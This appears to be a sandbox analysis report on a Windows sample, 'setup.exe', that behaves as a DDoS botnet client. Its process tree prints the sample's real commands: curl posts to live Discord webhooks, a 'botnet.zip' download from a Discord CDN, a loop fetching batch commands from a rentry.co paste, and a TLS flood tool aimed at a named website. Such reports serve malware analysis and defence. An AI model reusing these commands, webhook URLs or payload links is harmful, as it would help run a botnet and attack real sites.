076c4ef38880870f3abf6954a1b736e305d282dfdb165e1554aaf0c2297c84d9

Analysis

max time kernel
1800s
max time network
1815s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
24/08/2023, 17:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

setup.exe
Size

90KB
MD5

9311435ce413103409c0b40745a4d608
SHA1

55a8a86908a8e4b6aa6340da92fafb6d31dd5b9c
SHA256

076c4ef38880870f3abf6954a1b736e305d282dfdb165e1554aaf0c2297c84d9
SHA512

d44cfbebc706b614cb02979d4781289f900352f803671621f7a050fba8b9de867375fd645c612990a8405abde96b0df943dec0139d485e92c21c359852971921
SSDEEP

1536:4q7fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfrwEOz:v7DhdC6kzWypvaQ0FxyNTBfrq

Score

9^/10

discovery

Malware Config

Signatures

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (822) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Executes dropped EXE 2 IoCs

pid	Process
4524	forvmbox.exe
3200	tls.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Delays execution with timeout.exe 64 IoCs

evasion

pid	Process
2948	timeout.exe
2840	timeout.exe
2300	timeout.exe
3696	timeout.exe
5068	timeout.exe
4656	timeout.exe
2028	timeout.exe
984	timeout.exe
3708	timeout.exe
3544	timeout.exe
944	timeout.exe
2964	timeout.exe
2644	timeout.exe
2904	timeout.exe
1356	timeout.exe
4596	timeout.exe
1204	timeout.exe
1936	timeout.exe
1324	timeout.exe
1680	timeout.exe
2028	timeout.exe
320	timeout.exe
1456	timeout.exe
3020	timeout.exe
3104	timeout.exe
2568	timeout.exe
5004	timeout.exe
3440	timeout.exe
4088	timeout.exe
2256	timeout.exe
5004	timeout.exe
4324	timeout.exe
4992	timeout.exe
4808	timeout.exe
1204	timeout.exe
216	timeout.exe
4280	timeout.exe
1208	timeout.exe
4392	timeout.exe
1660	timeout.exe
336	timeout.exe
1100	timeout.exe
1660	timeout.exe
1204	timeout.exe
544	timeout.exe
2452	timeout.exe
5000	timeout.exe
4728	timeout.exe
1588	timeout.exe
4556	timeout.exe
4184	timeout.exe
4032	timeout.exe
3676	timeout.exe
5072	timeout.exe
4400	timeout.exe
924	timeout.exe
1812	timeout.exe
216	timeout.exe
388	timeout.exe
364	timeout.exe
3112	timeout.exe
3252	timeout.exe
3532	timeout.exe
216	timeout.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3392	powershell.exe
3392	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3392	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3812 wrote to memory of 1776	3812	setup.exe	83
PID 3812 wrote to memory of 1776	3812	setup.exe	83
PID 1776 wrote to memory of 1336	1776	cmd.exe	84
PID 1776 wrote to memory of 1336	1776	cmd.exe	84
PID 1776 wrote to memory of 1052	1776	cmd.exe	85
PID 1776 wrote to memory of 1052	1776	cmd.exe	85
PID 1776 wrote to memory of 3392	1776	cmd.exe	93
PID 1776 wrote to memory of 3392	1776	cmd.exe	93
PID 1776 wrote to memory of 4524	1776	cmd.exe	97
PID 1776 wrote to memory of 4524	1776	cmd.exe	97
PID 1776 wrote to memory of 4524	1776	cmd.exe	97
PID 1776 wrote to memory of 3656	1776	cmd.exe	99
PID 1776 wrote to memory of 3656	1776	cmd.exe	99
PID 2968 wrote to memory of 3976	2968	cmd.exe	101
PID 2968 wrote to memory of 3976	2968	cmd.exe	101
PID 1776 wrote to memory of 4948	1776	cmd.exe	103
PID 1776 wrote to memory of 4948	1776	cmd.exe	103
PID 2968 wrote to memory of 4000	2968	cmd.exe	104
PID 2968 wrote to memory of 4000	2968	cmd.exe	104
PID 1776 wrote to memory of 4496	1776	cmd.exe	105
PID 1776 wrote to memory of 4496	1776	cmd.exe	105
PID 2968 wrote to memory of 3200	2968	cmd.exe	106
PID 2968 wrote to memory of 3200	2968	cmd.exe	106
PID 2968 wrote to memory of 1844	2968	cmd.exe	107
PID 2968 wrote to memory of 1844	2968	cmd.exe	107
PID 2968 wrote to memory of 1456	2968	cmd.exe	108
PID 2968 wrote to memory of 1456	2968	cmd.exe	108
PID 2968 wrote to memory of 1120	2968	cmd.exe	109
PID 2968 wrote to memory of 1120	2968	cmd.exe	109
PID 2968 wrote to memory of 1336	2968	cmd.exe	110
PID 2968 wrote to memory of 1336	2968	cmd.exe	110
PID 2968 wrote to memory of 4556	2968	cmd.exe	111
PID 2968 wrote to memory of 4556	2968	cmd.exe	111
PID 2968 wrote to memory of 1156	2968	cmd.exe	112
PID 2968 wrote to memory of 1156	2968	cmd.exe	112
PID 2968 wrote to memory of 2456	2968	cmd.exe	113
PID 2968 wrote to memory of 2456	2968	cmd.exe	113
PID 2968 wrote to memory of 4652	2968	cmd.exe	114
PID 2968 wrote to memory of 4652	2968	cmd.exe	114
PID 2968 wrote to memory of 1660	2968	cmd.exe	115
PID 2968 wrote to memory of 1660	2968	cmd.exe	115
PID 2968 wrote to memory of 4536	2968	cmd.exe	116
PID 2968 wrote to memory of 4536	2968	cmd.exe	116
PID 2968 wrote to memory of 1680	2968	cmd.exe	117
PID 2968 wrote to memory of 1680	2968	cmd.exe	117
PID 2968 wrote to memory of 4352	2968	cmd.exe	118
PID 2968 wrote to memory of 4352	2968	cmd.exe	118
PID 2968 wrote to memory of 792	2968	cmd.exe	119
PID 2968 wrote to memory of 792	2968	cmd.exe	119
PID 2968 wrote to memory of 1576	2968	cmd.exe	120
PID 2968 wrote to memory of 1576	2968	cmd.exe	120
PID 2968 wrote to memory of 3188	2968	cmd.exe	121
PID 2968 wrote to memory of 3188	2968	cmd.exe	121
PID 2968 wrote to memory of 3876	2968	cmd.exe	122
PID 2968 wrote to memory of 3876	2968	cmd.exe	122
PID 2968 wrote to memory of 2784	2968	cmd.exe	123
PID 2968 wrote to memory of 2784	2968	cmd.exe	123
PID 2968 wrote to memory of 1204	2968	cmd.exe	124
PID 2968 wrote to memory of 1204	2968	cmd.exe	124
PID 2968 wrote to memory of 1616	2968	cmd.exe	125
PID 2968 wrote to memory of 1616	2968	cmd.exe	125
PID 2968 wrote to memory of 4620	2968	cmd.exe	126
PID 2968 wrote to memory of 4620	2968	cmd.exe	126
PID 2968 wrote to memory of 1164	2968	cmd.exe	127

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3812
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\6997.tmp\69A8.tmp\69A9.bat C:\Users\Admin\AppData\Local\Temp\setup.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1776
- - C:\Windows\system32\curl.exe
    curl -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": \"Admin Connected to the API\"}" https://discord.com/api/webhooks/1143935323655634964/7Tdk2BNleWb0ZkJSiY1uuNDzNoj9ArVcuUoX6DPp_ZZitmO1VYj9jLFtdI83CxGCWsTC
    3⤵
    PID:1336
- - C:\Windows\system32\curl.exe
    curl -o botnet.zip https://cdn.discordapp.com/attachments/1141139274176155688/1143684627261820988/botney.zip
    3⤵
    PID:1052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Expand-Archive -Path 'botnet.zip' -DestinationPath 'C:\Users\Admin\Desktop'"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3392
- - C:\Users\Admin\Desktop\forvmbox.exe
    forvmbox.exe
    3⤵
    - Executes dropped EXE
    PID:4524
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\D6F7.tmp\D6F8.tmp\D6F9.bat C:\Users\Admin\Desktop\forvmbox.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2968
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3976
    - - C:\Windows\system32\curl.exe
        
        curl -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": null, \"embeds\": [{\"title\": \"Attack :=: tlsv1 https://inceptionrpg.com/ 40 70 {}\", \"description\": \" Thu 08/24/2023-70 / \",\"color\": 1127128,\"author\": {\"name\": \"MLBOT BOTNET API LOG\",\"icon_url\": \"https://cdn.discordapp.com/attachments/353651119685107714/1078725179850637372/danger_death_head_internet_security_skull_virus_icon_127111.png\"}}],\"attachments\": []}" https://discord.com/api/webhooks/1140675610524532868/T1taUTk6bStR2J1f9uoXFj7PQAMLD1T1yXMewAm481PLreURT2PLhzfvxpkEb4JO9VJy
        5⤵
        
        PID:4000
    - - C:\Users\Admin\Desktop\attacks\methods\tlsv\tls.exe
        
        tls.exe https://inceptionrpg.com/ 70
        5⤵
        Executes dropped EXE
        
        PID:3200
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1844
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1456
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1120
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1336
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4556
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1156
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2456
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4652
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1660
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4536
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1680
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4352
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:792
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1576
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3188
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3876
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2784
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1204
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1616
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4620
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1164
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:5044
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4872
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4968
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:5052
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4168
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4748
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:336
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1916
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4160
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3504
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1968
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1516
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4988
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1480
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1928
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4892
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:5004
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1316
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:216
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4940
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2040
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2644
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4420
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2840
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2940
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2320
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2344
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4772
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:632
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4032
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1052
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:912
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:5068
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4596
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3036
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1668
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1996
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4348
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:5072
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:752
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1456
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2128
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4900
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1156
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:860
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3572
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1660
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4668
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:5028
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1904
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:5024
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3232
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2296
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2816
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1576
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:5012
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:924
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1976
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2824
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2412
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:4728
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3992
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:636
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:5036
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2352
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3708
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2064
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3612
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4576
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4328
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:2568
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1560
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4816
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1324
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1952
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4368
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4088
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1924
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3500
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4516
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2032
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2776
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4344
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4836
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:380
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:544
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:364
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1244
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4384
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4472
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2544
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:5004
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1588
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3724
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1804
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3824
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3944
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2936
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1140
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2192
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4004
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4468
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:2644
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4216
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1912
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2840
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3932
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3284
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:3252
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3748
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:4656
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:632
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:3532
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:5068
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1812
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1936
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1356
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3152
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2760
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2276
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4784
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4540
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:388
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3916
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1156
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2256
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2692
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:984
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4980
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3032
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1676
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2140
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:5028
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3804
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3484
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1296
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4520
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1960
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2884
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:3376
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3672
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4320
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:2724
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1976
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:5040
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:4544
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:3876
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:1800
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:1204
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:464
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:5036
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2000
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:2904
    - - C:\Windows\system32\curl.exe
        
        curl -s -o op.bat https://rentry.co/nfago/raw
        5⤵
        
        PID:2480
    - - C:\Windows\system32\timeout.exe
        
        Timeout /t 5 /nobreak
        5⤵
        
        PID:4364
